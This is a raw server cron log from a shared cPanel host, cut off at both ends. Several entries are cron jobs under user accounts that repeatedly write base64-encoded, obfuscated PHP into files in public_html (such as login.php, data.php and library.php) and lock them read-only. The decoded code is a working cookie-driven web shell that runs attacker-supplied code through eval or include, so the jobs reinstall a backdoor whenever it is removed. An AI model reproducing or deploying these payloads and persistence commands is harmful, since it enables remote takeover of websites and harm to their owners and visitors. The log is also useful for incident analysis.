zY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:22:02 medusa CROND[8743]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:22:02 medusa CROND[8746]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:22:02 medusa CROND[8747]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:22:02 medusa CROND[8748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:22:02 medusa CROND[8749]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 10:23:01 medusa CROND[10315]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 10:23:02 medusa CROND[10317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:23:02 medusa CROND[10324]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:23:02 medusa CROND[10325]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:23:02 medusa CROND[10326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:23:02 medusa CROND[10327]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:23:02 medusa CROND[10328]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:23:02 medusa CROND[10329]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:23:02 medusa CROND[10333]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:23:02 medusa CROND[10335]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:23:02 medusa CROND[10338]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:23:02 medusa CROND[10337]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:24:02 medusa CROND[12042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:24:02 medusa CROND[12043]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:24:02 medusa CROND[12044]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:24:02 medusa CROND[12045]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:24:02 medusa CROND[12046]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:24:02 medusa CROND[12047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:24:02 medusa CROND[12050]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 10:24:02 medusa CROND[12054]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:24:02 medusa CROND[12055]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:24:02 medusa CROND[12056]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:24:02 medusa CROND[12057]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:24:02 medusa CROND[12058]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:24:02 medusa CROND[12059]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEF